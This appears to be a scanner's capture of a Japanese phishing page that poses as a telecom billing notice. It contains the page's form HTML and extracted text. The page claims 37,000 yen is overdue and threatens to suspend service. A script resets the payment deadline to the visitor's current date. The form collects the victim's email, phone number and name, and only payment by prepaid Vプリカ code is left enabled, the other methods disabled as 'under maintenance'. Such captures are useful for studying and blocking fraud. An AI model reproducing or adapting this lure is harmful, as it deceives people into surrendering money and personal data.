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1 forms found in the DOM

POST

<form action="" method="post">
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    <div class="price-container">
      <div class="price-line">
        <span id="stit">未払い金額：</span>
        <span id="price">37,000</span>
        <span id="price-unit">円</span>
        <span id="price-after-tips">（税込）</span>
      </div>
      <div class="clear"></div>
      <div class="date-line">
        <div class="tips">支払い期限：</div>
        <div class="date-container">
          <span class="date" id="time1">2022年8月23日</span>
          <span class="after-date">（支払期日の延長不可）</span>
        </div>
      </div>
      <script>
        var myDate = new Date();
        var year = myDate.getFullYear();
        var month = myDate.getMonth() + 1;
        var day = myDate.getDate();
        $("#time1").html(year + "年" + month + "月" + day + "日");
      </script>
      <div class="clear"></div>
    </div>
    <div class="clear"></div>
    <div class="user-container">
      <div class="header">
        <span>本人情報の確認を入力</span>
      </div>
      <div class="form">
        <div class="row">
          <dt class="tit">メールアドレス入力</dt>
          <dd class="input-container">
            <input placeholder="メールアドレス入力" class="input" type="text" name="email" id="email" maxlength="50">
          </dd>
        </div>
        <div class="row">
          <dt class="tit">電話番号をご入力ください</dt>
          <dd class="input-container">
            <input placeholder="携帯電話番号" class="input" type="text" name="tel" id="tel" maxlength="15">
          </dd>
        </div>
        <div class="row">
          <dt class="tit">お名前（漢字）</dt>
          <dd class="input-container">
            <input placeholder="（例：山田太郎）" class="input" type="text" name="username" id="username" maxlength="16">
          </dd>
        </div>
      </div>
    </div>
    <div class="pay-container">
      <div class="header">
        <span>支払い方法</span>
      </div>
      <div class="form">
        <dt>
          <input type="radio" name="paymethod" id="paymethod_01" checked="">
          <label for="paymethod_01">電子マネー（vプリカ発行コード）</label>
        </dt>
        <dd>
          <img src="/static/au_order/vcard.jpeg" alt="">
        </dd>
        <dt>
          <input disabled="" type="radio" name="paymethod" id="paymethod_02">
          <label for="paymethod_02">
            <s>クレジットカード</s>
          </label>
        </dt>
        <dd>
          <img src="/static/au_order/fig_cc-01.png" alt="">
          <div>
            <span>※</span>
            <span>メンテナンスに伴うサービス一時停止となります。</span>
          </div>
        </dd>
        <dt>
          <input disabled="" type="radio" name="paymethod" id="paymethod_03">
          <label for="paymethod_03">
            <s>コンビニエンスストア</s>
          </label>
        </dt>
        <dd>
          <img src="/static/au_order/icon_seven.png" alt="">
          <img src="/static/au_order/icon_lawson.png" alt="">
          <img src="/static/au_order/icon_ministop.png" alt="">
          <img src="/static/au_order/icon_seicomart.png" alt="">
          <div>
            <span>※</span>
            <span>メンテナンスに伴うサービス一時停止となります。</span>
          </div>
        </dd>
        <dt>
          <input disabled="" type="radio" name="paymethod" id="paymethod_04">
          <label for="paymethod_04">
            <s>ネットバンキング（Pay-easy）</s>
          </label>
        </dt>
        <dd>
          <span>※</span>
          <span>メンテナンスに伴うサービス一時停止となります。</span>
        </dd>
      </div>
    </div>
  </div>
</form>

Text Content

【重要なお知らせ】
下記内容をご確認の上、至急お支払いください。 万一、支払期日を過ぎると、弊社通信サービスのご利用を【停止】致します。


未払い金額： 37,000 円 （税込）

支払い期限：
2022年8月23日 （支払期日の延長不可）


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電子マネー（vプリカ発行コード） クレジットカード
※ メンテナンスに伴うサービス一時停止となります。
コンビニエンスストア
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ネットバンキング（Pay-easy） ※ メンテナンスに伴うサービス一時停止となります。
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